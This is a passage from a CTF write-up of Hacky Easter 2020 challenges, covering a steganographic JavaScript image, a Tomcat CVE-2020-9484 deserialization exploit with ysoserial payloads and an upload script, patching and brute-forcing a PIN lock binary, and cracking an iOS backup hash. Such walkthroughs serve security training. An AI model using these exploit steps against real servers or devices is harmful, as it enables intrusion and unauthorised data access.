string.length; n++){var c=string.charCodeAt(n); if (c < 128){utftext +=String.fromCharCode(c);}else if ((c > 127) && (c < 2048)){utftext +=String.fromCharCode((c >> 6) | 192); utftext +=String.fromCharCode((c & 63) | 128);}else{utftext +=String.fromCharCode((c >> 12) | 224); utftext +=String.fromCharCode(((c >> 6) & 63) | 128); utftext +=String.fromCharCode((c & 63) | 128);}}return utftext;}; var blockstart; var i, j; var W=new Array(80); var H0=0x67452301; var H1=0xEFCDAB89; var H2=0x98BADCFE; var H3=0x10325476; var H4=0xC3D2E1F0; var A, B, C, D, E; var temp; msg=Utf8Encode(msg); var msg_len=msg.length; var word_array=new Array(); for (i=0; i < msg_len - 3; i +=4){j=msg.charCodeAt(i) << 24 | msg.charCodeAt(i + 1) << 16 | msg.charCodeAt(i + 2) << 8 | msg.charCodeAt(i + 3); word_array.push(j);}switch (msg_len % 4){case 0: i=0x080000000; break; case 1: i=msg.charCodeAt(msg_len - 1) << 24 | 0x0800000; break; case 2: i=msg.charCodeAt(msg_len - 2) << 24 | msg.charCodeAt(msg_len - 1) << 16 | 0x08000; break; case 3: i=msg.charCodeAt(msg_len - 3) << 24 | msg.charCodeAt(msg_len - 2) << 16 | msg.charCodeAt(msg_len - 1) << 8 | 0x80; break;}word_array.push(i); while ((word_array.length % 16) !=14) word_array.push(0); word_array.push(msg_len >>> 29); word_array.push((msg_len << 3) & 0x0ffffffff); for (blockstart=0; blockstart < word_array.length; blockstart +=16){for (i=0; i < 16; i++) W[i]=word_array[blockstart + i]; for (i=16; i <=79; i++) W[i]=rotate_left(W[i - 3] ^ W[i - 8] ^ W[i - 14] ^ W[i - 16], 1); A=H0; B=H1; C=H2; D=H3; E=H4; for (i=0; i <=19; i++){temp=(rotate_left(A, 5) + ((B & C) | (~B & D)) + E + W[i] + 0x5A827999) & 0x0ffffffff; E=D; D=C; C=rotate_left(B, 30); B=A; A=temp;}for (i=20; i <=39; i++){temp=(rotate_left(A, 5) + (B ^ C ^ D) + E + W[i] + 0x6ED9EBA1) & 0x0ffffffff; E=D; D=C; C=rotate_left(B, 30); B=A; A=temp;}for (i=40; i <=59; i++){temp=(rotate_left(A, 5) + ((B & C) | (B & D) | (C & D)) + E + W[i] + 0x8F1BBCDC) & 0x0ffffffff; E=D; D=C; C=rotate_left(B, 30); B=A; A=temp;}for (i=60; i <=79; i++){temp=(rotate_left(A, 5) + (B ^ C ^ D) + E + W[i] + 0xCA62C1D6) & 0x0ffffffff; E=D; D=C; C=rotate_left(B, 30); B=A; A=temp;}H0=(H0 + A) & 0x0ffffffff; H1=(H1 + B) & 0x0ffffffff; H2=(H2 + C) & 0x0ffffffff; H3=(H3 + D) & 0x0ffffffff; H4=(H4 + E) & 0x0ffffffff;}var temp=cvt_hex(H0) + cvt_hex(H1) + cvt_hex(H2) + cvt_hex(H3) + cvt_hex(H4); return temp.toLowerCase();}function dID(){cvs=document.createElement("canvas");cvs.crossOrigin = px.crossOrigin = "Anonymous";px.parentNode.insertBefore(cvs, px); cvs.width=px.width; log.style.width=px.width + "px"; cvs.height=px.height; log.style.height="15em"; log.style.visibility="visible"; var passwd=SHA1(window.location.search.substr(1).split('p=')[1]).toUpperCase(); log.value="TESTING: " + passwd + "\n"; if (passwd=="60DB15C4E452C71C5670119E7889351242A83505"){log.value +="Success\nBit Layer=" + bL + "\nPixel grid=" + gr + "x" + gr + "\nEncoding Density=1 bit per " + (gr * gr) + " pixels\n"; var f=["Red", "Green", "Blue", "All"]; log.value +="Encoding Channel=" + f[eC] + "\n"; log.value +="Image Resolution=" + px.width + "x" + px.height + "\n"; ctx=cvs.getContext("2d"); ctx.drawImage(px, 0, 0); px.parentNode.removeChild(px);pix=ctx.getImageData(0, 0, cvs.width, cvs.height); pdt=pix.data; var j=[], k=0, h=0, b=0; var d=function(m, t){n=(t * cvs.width + m) * 4; var q=(pdt[n] & (1 << bL)) >> bL; var p=(pdt[n + 1] & (1 << bL)) >> bL; var a=(pdt[n + 2] & (1 << bL)) >> bL; var s; switch (eC){case 0: s=q; break; case 1: s=p; break; case 2: s=a; break; default: var o=(q + p + a) / 3; s=Math.round(o)}if (s==0){pdt[n]=pdt[n + 1]=pdt[n + 2]=0}else{pdt[n]=pdt[n + 1]=pdt[n + 2]=255}b++; return (String.fromCharCode(s + 48))}; var l=function(a){for (var o=0, m=0; m < a * 8; m++){j[o++]=d(k, h); k +=gr; if (k >=cvs.width){k=0; h +=gr}}}; l(6); var e=parseInt(bTS(j.join(""))); l(e); log.value +="Total pixels decoded=" + b + "\n"; log.value +="Decoded data length=" + e + " bytes.\n"; pix.data=pdt; ctx.putImageData(pix, 0, 0); var g=B64(bTS(j.join(""))); var c="11.py"; log.value +="Packaging " + c + " for download\n"; log.value +="Safari and IE users, save the Base64 data and decode it manually please,Chrome/edge users CORS, move to firefox.\n"; log.value +='BASE64 data="' + g + '"\n'; download(c, g)}else{log.value +="failed.\n";}}function bTS(c){var b=""; for (i=0; i < c.length; i +=8){var a=c.substr(i, 8); b +=String.fromCharCode(parseInt(a, 2))}return (b)}function B64(h){var g="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; var b=""; var a=""; while (h.length % 2 > 0){h +="\x00"}for (var d=0; d < h.length; d++){var c=h.charCodeAt(d); var e=c.toString(2); while (e.length < 8){e="0" + e}a +=e; while (a.length >=6){var f=a.slice(0, 6); a=a.slice(6); b +=g.charAt(parseInt(f, 2))}}while (a.length < 6){a +="0"}b +=g.charAt(parseInt(a, 2)); return (b)}function download(a, c){var b=document.createElement("a"); b.setAttribute("href", "data:application/octet-stream;base64," + c); b.setAttribute("target", "_blank"); b.setAttribute("download", a); b.style.display="none"; pic.appendChild(b); b.click(); pic.removeChild(b)}window.onload=function(){px.onclick=dID}; </script></head><body> <div id=pic class=s><img id=px src=#> <div><textarea id=log></textarea></div></div></body></html> ...

The important part of the javascript code is here:

... passwd=SHA1(window.location.search.substr(1).split('p=')[1]).toUpperCase(); ... if (passwd=="60DB15C4E452C71C5670119E7889351242A83505"){ ... ...

Accordingly we are supposed to provide a password in the GET parameter p. The SHA1 hash of the password is supposed to be 60DB15C4E452C71C5670119E7889351242A83505. We can for example use john to crack the hash:

kali@kali:~/hv20/20$ cat hash.txt 60DB15C4E452C71C5670119E7889351242A83505 kali@kali:~/hv20/20$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt ... Loaded 1 password hash (Raw-SHA1 [SHA1 256/256 AVX2 8x]) Press 'q' or Ctrl-C to abort, almost any other key for status bunnyrabbitsrule4real (?) ...

The password is bunnyrabbitsrule4real. Let's rename the image to an .html file and open it in a browser. This way the javascript code is executed. When we provide the password in the GET parameter p, we can trigger the password check by clicking on the page:

We receive a new file called 11.py:

kali@kali:~/hv20/20$ cat 11.py import sys i = bytearray(open(sys.argv[1], 'rb').read().split(sys.argv[2].encode('utf-8') + b"\n")[-1]) j = bytearray(b"Rabbits are small mammals in the family Leporidae of the order Lagomorpha (along with the hare and the pika). Oryctolagus cuniculus includes the European rabbit species and its descendants, the world's 305 breeds[1] of domestic rabbit. Sylvilagus includes 13 wild rabbit species, among them the seven types of cottontail. The European rabbit, which has been introduced on every continent except Antarctica, is familiar throughout the world as a wild prey animal and as a domesticated form of livestock and pet. With its widespread effect on ecologies and cultures, the rabbit (or bunny) is, in many areas of the world, a part of daily life-as food, clothing, a companion, and a source of artistic inspiration.") open('11.7z', 'wb').write(bytearray([i[_] ^ j[_%len(j)] for _ in range(len(i))]))

The first argument is used as a filename, which content is read (this is supposed to be the provided image itself). This content is split by the second argument followed by a newline. The last element of the splitted array is assigned to the variable i. The variable j is set a static byte string, which is used as an XOR key. The result is written to a file called 11.7z. Our goal is obviously to determine the second argument, which is used to split the contents of the image file.

Since we know that the resulting file is supposed to be an 7z file, the header should begin with 37 7A BC AF 27 1C. So we only need to split the image content by a newline and determine if XORing the first bytes of the splitted data with the static string result in a valid 7z header. If this is true, the last bytes of the splitted data (before the newline) are supposed to be the XOR key:

kali@kali:~/hv20/20$ cat find_key.py #!/usr/bin/env python3 ct = open('bfd96926-dd11-4e07-a05a-f6b807570b5a.png','rb').read().split(b'\n') for i in range(len(ct)): c = ct[i] # byte string: R a b b i t # 7z header : 37 7A BC AF 27 1C if (len(c) < 1): continue if ((c[0] ^ ord('R') == 0x37) and (c[1] ^ ord('a') == 0x7a) and (c[2] ^ ord('b') == 0xbc) and (c[3] ^ ord('b') == 0xaf) and (c[4] ^ ord('i') == 0x27) and (c[5] ^ ord('t') == 0x1c)): print(ct[i-1])

Running the script actually finds a valid candidate:

kali@kali:~/hv20/20$ ./find_key.py b'\xc0(\x8a\xa2(\x8a\xa2(\x8a\xa2(\x8a\xa2(\x8a\xa2(\x8a\xa2\xdcc*\x00\xa3(\x8a\xa2(\x8a\xa2(\x8a\xa2(\x8a\xa2(\x8a\xa2(\x8ar\x8f\xfd?D\x82>\xf1E\xbau\x1c\x00\x00\x00\x00IEND\xaeB`\x82breadbread'

The last bytes are breadbread, which seems fairly reasonable for an XOR key. Thus we only need to run the original 11.py script and provide bread as the second argument (since the key is repeated providing bread once is sufficient):

kali@kali:~/hv20/20$ python 11.py bfd96926-dd11-4e07-a05a-f6b807570b5a.png bread kali@kali:~/hv20/20$ file 11.7z 11.7z: 7-zip archive data, version 0.4

Let's try to extract the resulting archive:

kali@kali:~/hv20/20$ 7z x 11.7z 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_US.utf8,Utf16=on,HugeFiles=on,64 bits,1 CPU Intel(R) Core(TM) i7-8750H CPU @ 2.20GHz (906EA),ASM,AES-NI) Scanning the drive for archives: 1 file, 8486734 bytes (8288 KiB) Extracting archive: 11.7z -- Path = 11.7z Type = 7z Physical Size = 8486734 Headers Size = 122 Method = LZMA2:24m Solid = - Blocks = 1 Everything is Ok Size: 17795584 Compressed: 8486734

The archive contains another archive called 11.tar:

kali@kali:~/hv20/20$ file 11.tar 11.tar: POSIX tar archive

This archive contains files to setup a container:

kali@kali:~/hv20/20$ tar -xvf 11.tar 1c63adeddbefb62258429939a0247538742b10dfd7d95cdc55c5ab76428ec974/ 1c63adeddbefb62258429939a0247538742b10dfd7d95cdc55c5ab76428ec974/VERSION 1c63adeddbefb62258429939a0247538742b10dfd7d95cdc55c5ab76428ec974/json 1c63adeddbefb62258429939a0247538742b10dfd7d95cdc55c5ab76428ec974/layer.tar 1d66b052bd26bb9725d5c15a5915bed7300e690facb51465f2d0e62c7d644649.json 7184b9ccb527dcaef747979066432e891b7487867de2bb96790a01b87a1cc50e/ 7184b9ccb527dcaef747979066432e891b7487867de2bb96790a01b87a1cc50e/VERSION 7184b9ccb527dcaef747979066432e891b7487867de2bb96790a01b87a1cc50e/json 7184b9ccb527dcaef747979066432e891b7487867de2bb96790a01b87a1cc50e/layer.tar ab2b751e14409f169383b5802e61764fb4114839874ff342586ffa4f968de0c1/ ab2b751e14409f169383b5802e61764fb4114839874ff342586ffa4f968de0c1/VERSION ab2b751e14409f169383b5802e61764fb4114839874ff342586ffa4f968de0c1/json ab2b751e14409f169383b5802e61764fb4114839874ff342586ffa4f968de0c1/layer.tar bc7f356b13fa5818f568082beeb3bfc0f0fe9f9424163a7642bfdc12ba5ba82b/ bc7f356b13fa5818f568082beeb3bfc0f0fe9f9424163a7642bfdc12ba5ba82b/VERSION bc7f356b13fa5818f568082beeb3bfc0f0fe9f9424163a7642bfdc12ba5ba82b/json bc7f356b13fa5818f568082beeb3bfc0f0fe9f9424163a7642bfdc12ba5ba82b/layer.tar e0f45634ac647ef43d22d4ea46fce543fc1d56ed338c72c712a6bc4ddb96fd46/ e0f45634ac647ef43d22d4ea46fce543fc1d56ed338c72c712a6bc4ddb96fd46/VERSION e0f45634ac647ef43d22d4ea46fce543fc1d56ed338c72c712a6bc4ddb96fd46/json e0f45634ac647ef43d22d4ea46fce543fc1d56ed338c72c712a6bc4ddb96fd46/layer.tar manifest.json repositories

The most important file is 1d66b052bd26bb9725d5c15a5915bed7300e690facb51465f2d0e62c7d644649.json in the top directory:

kali@kali:~/hv20/20$ cat 1d66b052bd26bb9725d5c15a5915bed7300e690facb51465f2d0e62c7d644649.json {"architecture":"amd64","config":{"User":"bread","Env":["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"],"Cmd":["/bin/sh","-c","tail -f /dev/null"],"WorkingDir":"/home/bread/","ArgsEscaped":true,"OnBuild":null},"created":"2020-12-08T14:41:59.119577934+11:00","history":[{"created":"2020-10-22T02:19:24.33416307Z","created_by":"/bin/sh -c #(nop) ADD file:f17f65714f703db9012f00e5ec98d0b2541ff6147c2633f7ab9ba659d0c507f4 in / "},{"created":"2020-10-22T02:19:24.499382102Z","created_by":"/bin/sh -c #(nop) CMD [\"/bin/sh\"]","empty_layer":true},{"created":"2020-12-08T14:41:33.015297112+11:00","created_by":"RUN /bin/sh -c apk update \u0026\u0026 apk add --update-cache --repository http://dl-3.alpinelinux.org/alpine/edge/testing/ --allow-untrusted steghide xxd # buildkit","comment":"buildkit.dockerfile.v0"},{"created":"2020-12-08T14:41:33.4777984+11:00","created_by":"RUN /bin/sh -c adduser --disabled-password --gecos '' bread # buildkit","comment":"buildkit.dockerfile.v0"},{"created":"2020-12-08T14:41:33.487504964+11:00","created_by":"WORKDIR /home/bread/","comment":"buildkit.dockerfile.v0"},{"created":"2020-12-08T14:41:59.119577934+11:00","created_by":"RUN /bin/sh -c cp /tmp/t/bunnies12.jpg bunnies12.jpg \u0026\u0026 steghide embed -e loki97 ofb -z 9 -p \"bunnies12.jpg\\\\\\\" -ef /tmp/t/hidden.png -p \\\\\\\"SecretPassword\" -N -cf \"bunnies12.jpg\" -ef \"/tmp/t/hidden.png\" \u0026\u0026 mkdir /home/bread/flimflam \u0026\u0026 xxd -p bunnies12.jpg \u003e flimflam/snoot.hex \u0026\u0026 rm -rf bunnies12.jpg \u0026\u0026 split -l 400 /home/bread/flimflam/snoot.hex /home/bread/flimflam/flom \u0026\u0026 rm -rf /home/bread/flimflam/snoot.hex \u0026\u0026 chmod 0000 /home/bread/flimflam \u0026\u0026 apk del steghide xxd # buildkit","comment":"buildkit.dockerfile.v0"},{"created":"2020-12-08T14:41:59.119577934+11:00","created_by":"USER bread","comment":"buildkit.dockerfile.v0","empty_layer":true},{"created":"2020-12-08T14:41:59.119577934+11:00","created_by":"CMD [\"/bin/sh\" \"-c\" \"tail -f /dev/null\"]","comment":"buildkit.dockerfile.v0","empty_layer":true}],"os":"linux","rootfs":{"type":"layers","diff_ids":["sha256:ace0eda..."]}}

Here we can see the commands which were executed. Cleaning this up a little bit results in the following commands:

cp /tmp/t/bunnies12.jpg bunnies12.jpg steghide embed -e loki97 ofb -z 9 -p "bunnies12.jpg\\\" -ef /tmp/t/hidden.png -p \\\"SecretPassword" -N -cf "bunnies12.jpg" -ef "/tmp/t/hidden.png" mkdir /home/bread/flimflam xxd -p bunnies12.jpg \u003e flimflam/snoot.hex rm -rf bunnies12.jpg split -l 400 /home/bread/flimflam/snoot.hex /home/bread/flimflam/flom rm -rf /home/bread/flimflam/snoot.hex chmod 0000 /home/bread/flimflam

The first command contains a troll because the escaped backslashes are a little bit confusing. The password used for steghide steghide is actually bunnies12.jpg\\\" -ef /tmp/t/hidden.png -p \\\"SecretPassword (which are not arguments to steghide).

The file produced with steghide is converted to hex using xxd and splitted into serveral little files (flom...) using split. At last the permissions on /home/bread/flimflam are set to 0000, which simply means that we need to change them or just use root to access them. In order to recover the original file, which was embedded with steghide (hidden.png), we need to reverse the steps.

At first let's recombine the splittes files into one file. In order to do this, we change to the corresponding directory and extract the layer.tar file:

kali@kali:~/hv20/20/ab2b751e14409f169383b5802e61764fb4114839874ff342586ffa4f968de0c1$ tar -xvf layer.tar etc/ etc/apk/ etc/apk/world home/ home/bread/ home/bread/flimflam/ home/bread/flimflam/.wh..wh..opq home/bread/flimflam/flomaa home/bread/flimflam/flomab home/bread/flimflam/flomac home/bread/flimflam/flomad home/bread/flimflam/flomae ...

Now we change to root and cat all splitted files into one file:

kali@kali:~/hv20/20/ab2b751e14409f169383b5802e61764fb4114839874ff342586ffa4f968de0c1$ sudo bash [sudo] password for kali: root@kali:/home/kali/hv20/20/ab2b751e14409f169383b5802e61764fb4114839874ff342586ffa4f968de0c1# cd home/bread/flimflam/ root@kali:/home/kali/hv20/20/ab2b751e14409f169383b5802e61764fb4114839874ff342586ffa4f968de0c1/home/bread/flimflam# cat flom* >> /home/kali/hv20/20/snoot.hex

At next we decode the hex data to binary using xxd, which results in the file bunnies12.jpg:

kali@kali:~/hv20/20$ xxd -p -r snoot.hex > bunnies12.jpg kali@kali:~/hv20/20$ file bunnies12.jpg bunnies12.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 4032x2268, components 3

Now we extract the hidden.png file using steghide:

kali@kali:~/hv20/20$ steghide extract -sf bunnies12.jpg -xf hidden.png -p "bunnies12.jpg\\\" -ef /tmp/t/hidden.png -p \\\"SecretPassword" wrote extracted data to "hidden.png".

This file contains a QR code:

Since the QR code was not correctly scanned at first, I added a white border around it and removed the alpha channel:

Now the QR code can be scanned e.g. using zbarimg:

kali@kali:~/hv20/20$ zbarimg hidden_with_border.png QR-Code:HV20{My_pr3c10u5_my_r363x!!!,_7hr0w_17_1n70_7h3_X1._-_64l4dr13l}

The flag is HV20{My_pr3c10u5_my_r363x!!!,_7hr0w_17_1n70_7h3_X1._-_64l4dr13l}.

HV20.21 Threatened Cat

Categories: Exploitation
Web Security
You can feed this cat with many different things, but only a certain kind of file can endanger the cat.

Do you find that kind of files? And if yes, can you use it to disclose the flag? Ahhh, by the way: The cat likes to hide its stash in /usr/bin/catnip.txt.

Note: The cat is currently in hibernation and will take a few seconds to wake up.

On the provided website files can be uploaded:

After uploading a simple .txt file we can see the result:

The last information listed states that the file looks harmless. According to the description we need to find the file type, which endangers the cat.

By uploading some serialized java data (java_ser) the cat is threatened:

Recently there have been two major RCE security vulnerabilites in Apache Tomcat, the first one being CVE-2020-1938 ("Ghostcat") and the second one CVE-2020-9484, which allows an attacker to deserialize an arbitrary file on the server because of a directory traversal vulnerability within the JSESSIONID. This article explains the vulnerability pretty well.

Since we can upload arbitrary files and also know the directory, where there files are stored, we can easily test for this vulnerability.

We reupload the serialized java data with the .session extension (e.g. test.session):

Now we try to deserialize the data we uploaded by setting the JSESSIONID to it using directory traversal. We ommit the .session extensions, since it is added by tomcat:

kali@kali:~/hv20/21$ curl -v 'https://a446a817-341c-4e0e-a88f-466feea4a435.idocker.vuln.land/cat/' -H 'Cookie: JSESSIONID=../../../../../../../../usr/local/uploads/test' ... < HTTP/2 500 ... <!doctype html><html lang="en"><head><title>HTTP Status 500 – Internal Server Error</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 500 – Internal Server Error</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> Error deserializing Session [../../../../../../../../usr/local/uploads/test]</p><p><b>Description</b> The server encountered an unexpected condition that prevented it from fulfilling the request.</p><p><b>Exception</b></p><pre>java.lang.IllegalStateException: Error deserializing Session [../../../../../../../../usr/local/uploads/test] org.apache.catalina.session.PersistentManagerBase.loadSessionFromStore(PersistentManagerBase.java:770) org.apache.catalina.session.PersistentManagerBase.swapIn(PersistentManagerBase.java:714) org.apache.catalina.session.PersistentManagerBase.findSession(PersistentManagerBase.java:493) org.apache.catalina.connector.Request.doGetSession(Request.java:2978) org.apache.catalina.connector.Request.getSessionInternal(Request.java:2698) ... </pre>* Connection #0 to host a446a817-341c-4e0e-a88f-466feea4a435.idocker.vuln.land left intact <p><b>Note</b> The full stack trace of the root cause is available in the server logs.</p><hr class="line" /><h3>Apache Tomcat/9.0.34</h3></body></html>

We get a 500 Internal Server Error! This means that tomcat actually tried to deserialize our data.

In order to create an actual payload we can use ysoserial. Since we do not know in advance, which classes are available on the system, we can just test the different payloads quickly. For this let's create a file with the different payload names:

kali@kali:/opt/ysoserial$ cat payloads.txt BeanShell1 C3P0 Clojure CommonsBeanutils1 CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections4 CommonsCollections5 CommonsCollections6 CommonsCollections7 FileUpload1 Groovy1 ...

In order to automate the uploading process, a simple python script will help. The script upload the serialized data file java.session, triggers the deserialization by setting the JSESSIONID and then tries to access the flag file catnip.txt, which is supposed to be copied to the uploads directory by our payload:

kali@kali:~/hv20/21$ cat upload0r.py #!/usr/bin/env python3 import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) #url = 'https://01252eee-52d7-4c0e-b7b6-66235d2c04a9.idocker.vuln.land/cat/' url = 'https://a446a817-341c-4e0e-a88f-466feea4a435.idocker.vuln.land/cat/' p = {'https':''} pl = open('/home/kali/hv20/21/java.session','rb').read() r = requests.post(url, files=( ('file', ('java.session', pl, 'application/octet-stream')),), proxies=p, verify=False) if ('threatening this cat' in r.text): print('ok') h = {'Cookie':'JSESSIONID=../../../../../../../../usr/local/uploads/java'} r = requests.get(url, headers=h, proxies=p, verify=False) r = requests.get(url+'files/catnip.txt', proxies=p, verify=False) if (r.status_code == 404): print('nope :(') else: print(r.text)

Now we can iterate over the different payloads using cp /usr/bin/catnip.txt /usr/local/uploads/ as the command to be executed:

kali@kali:/opt/ysoserial$ for f in $(cat payloads.txt); do echo $f; /usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java -jar ysoserial-master-SNAPSHOT.jar $f "cp /usr/bin/catnip.txt /usr/local/uploads/" > ~/hv20/21/java.session && ~/hv20/21/upload0r.py; done BeanShell1 Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true ok nope :( C3P0 Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true Error while generating or serializing payload java.lang.IllegalArgumentException: Command format is: : at ysoserial.payloads.C3P0.getObject(C3P0.java:48) at ysoserial.GeneratePayload.main(GeneratePayload.java:34) Clojure Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true ok nope :( CommonsBeanutils1 Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true ok nope :( CommonsCollections1 Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true ok nope :( CommonsCollections2 Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true ok HV20{!D3s3ri4liz4t10n_rulz!}

The CommonsCollections2 payload was successfully executed.

The flag is HV20{!D3s3ri4liz4t10n_rulz!}.

HV20.22 Padawanlock

Categories: Reverse Engineering
A new apprentice Elf heard about "Configuration as Code". When he had to solve the problem to protected a secret he came up with this "very sophisticated padlock".


The provided file is a 32-bit ELF executable::

kali@kali:~/hv20/22$ file padawanlock padawanlock: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=56e8cc633ab14ebd1c6fdd3bfda3ebd100a6a45e, for GNU/Linux 3.2.0, stripped

Using ghidra we can get a quick overview of the functionality of the program:

Within the main function a 6-digit PIN is read using gets. The entered string is converted to an integer by calling atoi. The resulting integer is multiplied by 0x14 and added to a static address (0x1124b in ghidra). The resulting address is called. At last the string stored at 0x132602e is displayed.

Running the program looks like this:

kali@kali:~/hv20/22$ ./padawanlock PIN (6 digits): 012345 Unlocked secret is: _TO_GET_NEAR_A_CIVILIZED_SYSTEM.)}

We can recognize a little delay after entering the PIN, which is probably a bruteforce protection.

Let's have a look at the instructions at the static address, which is called using our input as an offset:

[0x000010a0]> pd 20 @ 0x124b | ; DATA XREF from fcn.000011d9 @ +0x3c | ; CODE XREF from fcn.00001241 @ +0xc4b251 | 0x0000124b b97c2a5001 mov ecx, 0x1502a7c | ; CODE XREF from fcn.00001241 @ 0x1254 | .-> 0x00001250 49 dec ecx | : 0x00001251 83f900 cmp ecx, 0 | `=< 0x00001254 75fa jne 0x1250 | 0x00001256 c6037b mov byte [ebx], 0x7b ; '{' | ; [0x7b:1]=0 | 0x00001259 43 inc ebx | ,=< 0x0000125a e914dead00 jmp 0xadf073 | ; CODE XREF from fcn.00001241 @ +0xd56dc1 | 0x0000125f b9a8145001 mov ecx, 0x15014a8 | ; CODE XREF from fcn.00001241 @ +0x27 .--> 0x00001264 49 dec ecx :| 0x00001265 83f900 cmp ecx, 0 `==< 0x00001268 75fa jne 0x1264 | 0x0000126a c60346 mov byte [ebx], 0x46 ; 'F' | ; [0x46:1]=0 | 0x0000126d 43 inc ebx ,==< 0x0000126e e9583e8c00 jmp 0x8c50cb || ; CODE XREF from fcn.00001241 @ +0x1ad911 || 0x00001273 b9c30d5001 mov ecx, 0x1500dc3 || ; CODE XREF from fcn.00001241 @ +0x3b .---> 0x00001278 49 dec ecx :|| 0x00001279 83f900 cmp ecx, 0 `===< 0x0000127c 75fa jne 0x1278 || 0x0000127e c6034d mov byte [ebx], 0x4d ; 'M' || ; [0x4d:1]=0 || 0x00001281 43 inc ebx

The pattern here repeats over and over again: a quite huge value (e.g. 0x1502a7c) is stored in ecx. This value is then decremented until 0 is reached. At next a single character of the output is moved to the address stored in ebx. After this ebx is incremented (in order to reference the next character of the output) and a jump to the next block of this kind follows.

The beginning of each block (decrementing ecx over and over again until 0 is reached) causes the little delay we noticed after entering the PIN. If this delay is not present, we can probably bruteforce the PIN quite fast, since 6 digits = 10**6 = 1.000.000 possibilites are not too much.

In order to remove the delay, a simply patch is sufficient. We only need to replace the following instructions ...

| .-> 0x00001250 49 dec ecx | : 0x00001251 83f900 cmp ecx, 0 | `=< 0x00001254 75fa jne 0x1250

... with:

| 0x00001250 90 nop | 0x00001251 90 nop | 0x00001252 90 nop | 0x00001253 90 nop | 0x00001254 90 nop | 0x00001255 90 nop

This way the huge value is still stored in ecx, but the execution directly proceeds not decrementing it until 0. This effectively removes the delay.

In order to replace the mentioned instructions, a small python script will do:

kali@kali:~/hv20/22$ cat replac0r.py #!/usr/bin/env python3 ct = open('padawanlock','rb').read() ct = ct.replace(bytes.fromhex('4983f90075fa'), bytes.fromhex('909090909090')) f = open('padawanlock_patched','wb') f.write(ct) f.close()

The adjusted padawanlock_patched has no delay anymore and can be used to bruteforce the PIN with the following python script:

kali@kali:~/hv20/22$ cat brut0r.py #!/usr/bin/env python3 import subprocess def test_pin(n): p = subprocess.Popen(['./padawanlock_patched'], stdin=-1, stdout=-1) return p.communicate(n)[0] for i in range(10): for j in range(10): for k in range(10): for l in range(10): for m in range(10): for n in range(10): pin = b'%d%d%d%d%d%d'%(i,j,k,l,m,n) r = test_pin(pin) if (b'HV20{' in r): print(r) print(pin) quit()

After ~7 minutes on my VM the PIN is successfully bruteforced:

kali@kali:~/hv20/22$ ./brut0r.py b'PIN (6 digits): Unlocked secret is: HV20{C0NF1GUR4T10N_AS_C0D3_N0T_D0N3_R1GHT}' b'451235'

The flag is HV20{C0NF1GUR4T10N_AS_C0D3_N0T_D0N3_R1GHT}.

HV20.23 Those who make backups are cowards!

Categories: Crypto
Santa tried to get an important file back from his old mobile phone backup. Thankfully he left a post-it note on his phone with the PIN. Sadly Rudolph thought the Apple was real and started eating it (there we go again...). Now only the first of eight digits, a 2, is still visible...

But maybe you can do something to help him get his important stuff back?



If you get stuck, call Shamir

The provided RAR archive contains an encrypted IOS backup:

kali@kali:~/hv20/23$ ls -al 5e8dfbc7f9f29a7645d66ef70b6f2d3f5dad8583/ total 16764 drwxr-xr-x 2 kali kali 24576 Dec 16 15:47 . drwxr-xr-x 3 kali kali 4096 Dec 23 03:06 .. -rw-r--r-- 1 kali kali 240 Dec 16 15:47 000cae3437db21095a85771716e6874f92ce7593 -rw-r--r-- 1 kali kali 144 Dec 16 15:47 012707a2ae34d77a28b16a9e443b780ea4e6b0aa -rw-r--r-- 1 kali kali 14224 Dec 16 15:47 01a14737bf725839e60201704f5e0447e23800a6 -rw-r--r-- 1 kali kali 48 Dec 16 15:47 02080c751f0cd98738a2e9ccf7c133f0197865fa ... -rw-r--r-- 1 kali kali 384 Dec 16 15:47 fe4618d750f01049b6b82e988f8f0227cda1ab8d -rw-r--r-- 1 kali kali 112 Dec 16 15:47 fe987f9baac32e5744aa4e8238bdd5f21f283653 -rw-r--r-- 1 kali kali 240 Dec 16 15:47 ff72d8290d991b3aa58cc2bc6e306434fd47d566 -rw-r--r-- 1 kali kali 8579 Dec 16 15:47 Info.plist -rw-r--r-- 1 kali kali 101463 Dec 16 15:47 Manifest.mbdb -rw-r--r-- 1 kali kali 9221 Dec 16 15:47 Manifest.plist -rw-r--r-- 1 kali kali 189 Dec 16 15:47 Status.plist

Since the backup is encrypted, we need the PIN first. In order to crack it we can convert Manifest.plist file to a crackable hash format using itunes_backup2hashcat.pl:

kali@kali:~/hv20/23$ perl itunes_backup2hashcat.pl 5e8dfbc7f9f29a7645d66ef70b6f2d3f5dad8583/Manifest.plist $itunes_backup$*9*892dba473d7ad9486741346d009b0deeccd32eea6937ce67070a0500b723c871a454a81e569f95d9*10000*0834c7493b056222d7a7e382a69c0c6a06649d9a**

Now we can e.g. use john to crack the hash by providing the mask 2?d?d?d?d?d?d?d (2 followed by 7 other digits):

